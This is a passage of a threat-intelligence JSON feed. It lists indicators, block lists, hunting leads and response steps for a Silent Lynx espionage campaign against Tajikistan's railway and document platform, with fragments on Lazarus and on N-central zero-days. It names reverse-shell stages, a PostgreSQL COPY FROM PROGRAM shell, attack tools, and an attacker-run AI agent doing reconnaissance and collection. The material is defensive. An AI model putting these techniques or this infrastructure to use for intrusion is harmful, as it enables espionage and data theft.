"url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Lazarus-Operation-FlashHole-CrossWeb-EX/hunt.spl", "download": "Lazarus-Operation-FlashHole-CrossWeb-EX_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Lazarus-Operation-FlashHole-CrossWeb-EX/hunt_raw.spl", "download": "Lazarus-Operation-FlashHole-CrossWeb-EX_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Lazarus-Operation-FlashHole-CrossWeb-EX/hunt.yaral", "download": "Lazarus-Operation-FlashHole-CrossWeb-EX_hunt.yaral" } ] }, { "id": "Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan", "folder": "threats/2026-11_November-2026/2026-11-12/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan", "name": "Silent Lynx Strix AI-Agent Espionage Against Tajikistan", "short": "Silent Lynx Strix espionage", "category": "Espionage / APT", "published": "2026-11-11", "entry_date": "2026-11-12 11:30", "last_updated": "2026-11-12", "seq": 28, "headline": "CloudSEK found an exposed server belonging to Silent Lynx (UAT-6275 at Cisco Talos, TAG-193 at Recorded Future), a Ka...", "summary": "CloudSEK found an exposed server belonging to Silent Lynx (UAT-6275 at Cisco Talos, TAG-193 at Recorded Future), a Kazakhstan-nexus espionage group. The operator had domain-level access to Tajikistan's national railway from mid-August to at least 10 October 2026, dumped NTDS credentials, and used one railway employee's account on the government SSO portal to pull more than 2,000 documents from the national electronic document (EDO) platform, including defence correspondence. The group also broke into Uzbekistan's Smart Forestry GeoServer through malicious WAR files and a PostgreSQL COPY FROM PROGRAM reverse shell, and built Turkmenistan-themed lures in October. Much of the reconnaissance, collection and cleanup was run by a self-hosted Hermes agent branded Strix, which used DeepSeek and Gemini models through OpenRouter and took tasks over Telegram. The operator server 89.125.213.123, its two stage URLs, foreverpeace.ru and the nine implant and lure hashes are on the block list. 134.17.14.24 is alert-only because its ownership is unconfirmed. OpenRouter, DeepSeek, Gemini and Telegram are legitimate services: hunt for them on servers, never block them.", "caveat": "All indicators come from CloudSEK's analysis of one exposed server; Threadlinqs repeats some of them. 134.17.14.24 is alert-only because CloudSEK could not confirm who owns it. The AI agent ran on the operator's server, so OpenRouter, DeepSeek, Gemini and Telegram traffic is only a hunting lead on your own servers and must not be blocked. The file names are lookalikes of Windows services and need the hashes or the path to confirm.", "targets": { "countries": [ { "code": "TJ", "name": "Tajikistan" }, { "code": "UZ", "name": "Uzbekistan" }, { "code": "TM", "name": "Turkmenistan" }, { "code": "KG", "name": "Kyrgyzstan" } ], "regions": [ "Central Asia" ], "sectors": [ "Government", "Defence", "Rail transport", "Telecommunications" ], "note": "Confirmed victims are Tajikistan's national railway and national electronic document (EDO) platform and Uzbekistan's Smart Forestry GeoServer. Turkmenistan lures were built and tested but not yet deployed, and an implant was built for a target in Kyrgyzstan.", "source": { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "name": "CloudSEK" } }, "mitre": [ { "id": "T1566.001", "name": "Spearphishing Attachment", "url": "https://attack.mitre.org/techniques/T1566/001/" }, { "id": "T1204.002", "name": "Malicious File", "url": "https://attack.mitre.org/techniques/T1204/002/" }, { "id": "T1059.001", "name": "PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1562.001", "name": "Disable or Modify Tools", "url": "https://attack.mitre.org/techniques/T1562/001/" }, { "id": "T1543.003", "name": "Windows Service", "url": "https://attack.mitre.org/techniques/T1543/003/" }, { "id": "T1036.004", "name": "Masquerade Task or Service", "url": "https://attack.mitre.org/techniques/T1036/004/" }, { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1505.003", "name": "Web Shell", "url": "https://attack.mitre.org/techniques/T1505/003/" }, { "id": "T1053.003", "name": "Cron", "url": "https://attack.mitre.org/techniques/T1053/003/" }, { "id": "T1078", "name": "Valid Accounts", "url": "https://attack.mitre.org/techniques/T1078/" }, { "id": "T1003.003", "name": "NTDS", "url": "https://attack.mitre.org/techniques/T1003/003/" }, { "id": "T1046", "name": "Network Service Discovery", "url": "https://attack.mitre.org/techniques/T1046/" }, { "id": "T1557.001", "name": "LLMNR/NBT-NS Poisoning and SMB Relay", "url": "https://attack.mitre.org/techniques/T1557/001/" }, { "id": "T1572", "name": "Protocol Tunneling", "url": "https://attack.mitre.org/techniques/T1572/" }, { "id": "T1039", "name": "Data from Network Shared Drive", "url": "https://attack.mitre.org/techniques/T1039/" }, { "id": "T1119", "name": "Automated Collection", "url": "https://attack.mitre.org/techniques/T1119/" }, { "id": "T1030", "name": "Data Transfer Size Limits", "url": "https://attack.mitre.org/techniques/T1030/" }, { "id": "T1102", "name": "Web Service", "url": "https://attack.mitre.org/techniques/T1102/" }, { "id": "T1070.003", "name": "Clear Command History", "url": "https://attack.mitre.org/techniques/T1070/003/" } ], "recommended_actions": [ "Block 89.125.213.123, the two 89.125.213.123:8080 stage URLs and foreverpeace.ru, and BlockAndRemediate the nine SHA-256 hashes; alert on 134.17.14.24. Search 90 days of proxy, firewall and EDR logs for all of them, and for any outbound connection to TCP 46125.", "Hunt Windows endpoints for shortcuts with a PDF icon that start hidden PowerShell, for amsiInitFailed in PowerShell command lines, and for services or binaries named srvdriv, ssdpdrv, netsrvc, ssdspsrv or CoreMessaging.exe.", "On GeoServer, Tomcat and PostgreSQL hosts, look for new WAR deployments, a webshell under /health/, java or postgres spawning a shell, COPY ... FROM PROGRAM in database logs, and cron entries that call external addresses.", "Review government SSO and document-management logs for one ordinary account pulling large numbers of documents outside its role in parallel, resuming after errors, and in fixed-size chunks; then reset that account and fix per-document authorisation.", "If the network was reached, hunt for fscan, NetExec, Responder, Inveigh, Ligolo and GOST, rotate domain credentials including krbtgt twice after an NTDS dump, and change default passwords on network equipment." ], "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "name": "CloudSEK" }, { "url": "https://intel.threadlinqs.com/threat/TL-2026-5756", "label": "Threadlinqs – Silent Lynx Strix AI-agent espionage (TL-2026-5756)", "name": "Threadlinqs" }, { "url": "https://www.livemint.com/technology/kazakhstanlinked-hackers-used-ai-to-steal-tajik-government-documents-researchers-say-11794394933122.html", "label": "Mint (Reuters) – Kazakhstan-linked hackers used AI to steal Tajik government documents, researchers say", "name": "Mint (Reuters)" }, { "url": "https://blog.talosintelligence.com/break-the-silence-kazakhstan-nexus-uat-6275-targets-cis-government-organizations/", "label": "Cisco Talos – Break the silence: Kazakhstan-nexus UAT-6275 targets CIS government organizations (background)", "name": "Cisco Talos" } ], "indicator_count": 22, "block_now_count": 13, "hunt_count": 9, "hunt_counts": { "alert": 9 }, "indicator_counts": { "sha256": 9, "filename": 7, "ipv4": 2, "url": 2, "domain": 1, "other": 1 }, "ioas": [ { "artefact": "A shortcut with a PDF icon that starts hidden PowerShell to fetch P.ps1 and a decoy PDF from a remote server, then a raw TCP shell to port 46125 (one variant sets amsiInitFailed first)", "log_source": "EDR process and network events on Windows endpoints", "why": "This is Silent Lynx's delivery chain: a .lnk in a ZIP, password-protected ZIP or ISO opens a decoy, then hidden PowerShell runs P.ps1 in memory and opens a shell to the operator. Port 46125 is the operator's listener; amsiInitFailed is the AMSI bypass in one variant.", "action": "alert", "has_query": true, "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_name": "CloudSEK", "title": "LNK lure starting hidden PowerShell or a shell to port 46125", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Services or binaries named srvdriv, ssdpdrv, netsrvc, ssdspsrv or CoreMessaging.exe", "log_source": "EDR process, file and registry events; Windows System event 7045 (service installed)", "why": "Silent Lynx's wrappers install the Laplas and Chvost shells as Windows services with names that look like drivers or the SSDP service. CoreMessaging is a real Windows DLL, so an executable with that name is unusual.", "action": "alert", "has_query": true, "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_name": "CloudSEK", "title": "Silent Lynx lookalike service binaries", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "New WAR files deployed to GeoServer or Tomcat, a webshell under /health/, or the Java process spawning a shell", "log_source": "EDR file and process events on Linux application servers; GeoServer and Tomcat access logs", "why": "Silent Lynx got into Uzbekistan's Smart Forestry GeoServer by deploying malicious WAR files (one carried a Metasploit payload servlet) and drove a webshell on the /health/ path through a curl wrapper.", "action": "alert", "has_query": true, "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_name": "CloudSEK", "title": "WAR deployed to GeoServer or Tomcat, or Java spawning a shell", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "PostgreSQL running COPY ... FROM PROGRAM, or the postgres process spawning a shell or network tool", "log_source": "PostgreSQL server logs (log_statement); EDR process events on database hosts", "why": "On the Smart Forestry host the operator logged in to PostgreSQL as a superuser and used COPY ... FROM PROGRAM to open a reverse shell as the postgres user.", "action": "alert", "has_query": true, "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_name": "CloudSEK", "title": "PostgreSQL COPY FROM PROGRAM or postgres spawning a shell", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Cron jobs on Linux servers that open shells or call back to external addresses", "log_source": "EDR process events on Linux servers; crontab file changes", "why": "Cron entries on the compromised GeoServer host called back to the operator's server and to 134.17.14.24.", "action": "alert", "has_query": true, "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_name": "CloudSEK", "title": "Cron callback to an external address", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Bursts of internal reconnaissance from a new shell: whoami, hostname and ipconfig in quick succession, then fscan, NetExec, Responder, Inveigh, Ligolo or GOST", "log_source": "EDR process events on Windows and Linux hosts", "why": "The operator's dispatcher ran whoami, hostname and ipconfig on every new shell automatically, and the agent drove scans with fscan and NetExec, poisoning with Responder and Inveigh, and tunnels through Ligolo and GOST.", "action": "alert", "has_query": true, "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_name": "CloudSEK", "title": "fscan, NetExec, Responder, Inveigh, Ligolo or GOST", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Servers or service accounts calling OpenRouter, DeepSeek or Gemini APIs", "log_source": "Proxy, DNS and EDR network events on servers", "why": "The Strix agent sent its model calls through OpenRouter to DeepSeek V4.1 Flash and Gemini 2.5 Flash. These are legitimate services, so never block them; a server or service account with no business reason to call them is a lead.", "action": "hunt", "has_query": true, "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_name": "CloudSEK", "title": "Server calling OpenRouter, DeepSeek or Gemini APIs", "queries": [ "KQL", "SPL" ] }, { "artefact": "Servers calling the Telegram Bot API, or a .hermes directory on a host", "log_source": "Proxy, DNS and EDR network and file events", "why": "The operator tasked the agent through a Telegram bot, and the document collectors posted progress to a Telegram chat. The agent framework lived under .hermes/. Telegram is legitimate, so hunt for non-Telegram processes on servers calling api.telegram.org; do not block it.", "action": "hunt", "has_query": true, "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_name": "CloudSEK", "title": "Server calling the Telegram Bot API, or .hermes on disk", "queries": [ "KQL", "SPL" ] }, { "artefact": "One ordinary SSO account pulling large numbers of documents from a document-management system, in parallel and in fixed-size chunks", "log_source": "SSO portal and document-management (EDO) application logs", "why": "The operator used one railway employee's standard account on the government SSO portal to pull more than 2,000 documents outside that role. The collectors ran many requests at once, resumed after failures and split the data into chunks for exfiltration.", "action": "hunt", "has_query": false, "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_name": "CloudSEK", "title": "Bulk document pulls by one SSO account", "queries": [] } ], "ioa_count": 9, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan/block_now.txt", "download": "Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan/defender_xdr_indicators.csv", "download": "Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan/hunt.kql", "download": "Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan/hunt.spl", "download": "Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan/hunt_raw.spl", "download": "Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan/hunt.yaral", "download": "Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan/iocs.csv", "download": "Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-12/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan", "share_url": "https://iocwatch.com/t/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan/", "indicators": [ { "value": "89.125.213.123", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Silent Lynx operator server (Debian VPS, Baxet Group): payload host, implant C2, phishing and scanning; its open directory on port 8088 exposed the operation, and P.ps1 shells call back to it on TCP 46125.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" }, { "url": "https://intel.threadlinqs.com/threat/TL-2026-5756", "name": "Threadlinqs" } ] }, { "value": "http://89.125.213.123:8080/P.ps1", "type": "url", "confidence": "high", "recommended_action": "block", "description": "PowerShell reverse-shell stage that the LNK lure downloads and runs in memory; it opens a raw TCP shell to 89.125.213.123 on port 46125.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "http://89.125.213.123:8080/decoy.pdf", "type": "url", "confidence": "high", "recommended_action": "block", "description": "Decoy PDF the LNK lure opens from the operator server while hidden PowerShell runs.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "foreverpeace.ru", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Operator infrastructure domain hosting the self-hosted NetBird mesh control plane and a Pangolin reverse proxy used by the Strix agent's Kali box.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" }, { "url": "https://intel.threadlinqs.com/threat/TL-2026-5756", "name": "Threadlinqs" } ] }, { "value": "134.17.14.24", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Second address called back by cron entries on the compromised Uzbekistan Smart Forestry GeoServer host; CloudSEK says its ownership is unconfirmed, so alert only.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "af2822560bc0e44b600eefbe0170d3526e035704b533a806f9d455da6ac30d2c", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "Laplas TLS reverse shell srvdriv.exe, Tajikistan build, April 2026.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" }, { "url": "https://intel.threadlinqs.com/threat/TL-2026-5756", "name": "Threadlinqs" } ] }, { "value": "f26756cabe92842e25d82bee5f65ef9c22c80aec895386b9840b471b42e01463", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "Laplas TLS reverse shell srvdriv.exe, railway build, late August 2026.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "e6907392677134a1a4ffec14d303471352eee90da09db1991eb47486611f2e0d", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "Laplas TLS reverse shell srvdriv.exe, railway build, early September 2026.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "27dc5628adc666da702c9a33e8f96bb87087ac68a7064f99b91fb76b932aef6e", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "Chvost reverse shell ssdpdrv.exe (32-bit), PDB path \\chvost\\Release\\Netdrv.pdb.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "5d8a2df90fa3cf913e2b5764e586ee3405a101294909df091060bd3e3d1a44c1", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "netsrvc.exe service wrapper that installs the shells as a Windows service with a lookalike name.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "19b68e504e1512dc19feef6b1da0f67f876191a937fdcd64ffb965c12d1f0bf0", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "CoreMessaging.exe, the netsrvc service wrapper renamed for the railway deployment, late August 2026.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "bf7fe6b518676a3e6d40459ac16b491e62d0e0a222ebb243a44d64ac33aed826", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "CoreMessaging.exe, the netsrvc service wrapper renamed for the railway deployment, early September 2026.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "efc1bbb873e9b691657a66e987b0ea87c454bb16e89126d1a41bcaa9bae9fab1", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "ssdspsrv.exe, an older service wrapper built from an E:\\share\\shell\\service project.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "368cb250f7b962c551dd721f6f62224a936dd7cffb8e0d92f223d82b991a0e6d", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "Executable lure with a Turkmen-language filename about the Ahal regional administration's 2026 programme report; it contains the operator IP.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "srvdriv.exe", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Laplas implant file name chosen to look like a Windows driver service.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "ssdpdrv.exe", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Chvost implant file name that mimics the SSDP service.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "netsrvc.exe", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Service-wrapper file name used to install the shells as a Windows service.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "ssdspsrv.exe", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Older service-wrapper file name that mimics the SSDP service.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "CoreMessaging.exe", "type": "filename", "confidence": "low", "recommended_action": "alert", "description": "Renamed netsrvc service wrapper. Windows ships CoreMessaging.dll, not an .exe, so an executable with this name outside a known product is suspicious.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "P.ps1", "type": "filename", "confidence": "low", "recommended_action": "alert", "description": "PowerShell stage fetched by the LNK lure; the name is generic, so match it with the operator server.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "Отчёт_2026.pdf.lnk", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Russian-named shortcut (\"Report_2026\") with a PDF icon, shipped in a password-protected ZIP.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] }, { "value": "\\chvost\\Release\\Netdrv.pdb", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Debug path left in the Chvost implant ssdpdrv.exe; useful for YARA and file-content hunts.", "source_url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "source_label": "CloudSEK – Off the Rails: inside an exposed Silent Lynx server", "source_name": "CloudSEK", "sources": [ { "url": "https://www.cloudsek.com/blog/off-the-rails-inside-an-exposed-silent-lynx-server", "name": "CloudSEK" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan/hunt.kql", "download": "Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan/hunt.spl", "download": "Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan/hunt_raw.spl", "download": "Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-12/Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan/hunt.yaral", "download": "Silent-Lynx-Strix-AI-Agent-Espionage-Tajikistan_hunt.yaral" } ] }, { "id": "Able2Shell-N-able-N-central-Zero-Days", "folder": "threats/2026-11_November-2026/2026-11-12/Able2Shell-N-able-N-central-Zero-Days", "name": "Able2Shell N-able N-central Zero-Days", "short": "Able2Shell N-central zero-days", "category": "Exploitation / MSP RMM", "published": "2026-11-09", "entry_date": "2026-11-12 09:55", "last_updated": "2026-11-12 22:55", "seq": 27, "headline": "4EverAble2Shell is installing XMRig on live N-central servers, including hosts already on HF2; block 157.20.241.16 and hunt xvd artefacts", "summary": "An independent researcher published proof-of-concept code for 33 flaws in N-able N-central, the remote monitoring and management platform used by MSPs and IT teams, under the name Able2Shell. N-able took Hosted N-central offline on 9 November and shipped 2026.4 HF2 on 10 November, but late on 11 November the researcher released two more chains, 4EverAble2Shell (unauthenticated root RCE on the server) and Agent2Shell (commands as SYSTEM on managed Windows endpoints), which Huntress says work against HF2, so a fully patched server should be treated as vulnerable. On 12 November, about four and a half hours after 4EverAble2Shell was published, huntback Research saw 157.20.241.16 probe its decoys and then run the full chain, installing an XMRig miner via jup.sh. By 12:50 UTC that operator's public mining pool listed 21 production N-central servers as nc_ rigs, all submitting shares; 19 of them reported build 2026.4.1.26 (HF2). The servers were in the United States, South Africa, Canada, the United Kingdom, Germany, France and Sweden; huntback has not published the addresses. Applying HF2 is not enough: keep the Legacy API disabled and follow N-able's current guidance. Earlier N-central zero-days were exploited and are in CISA 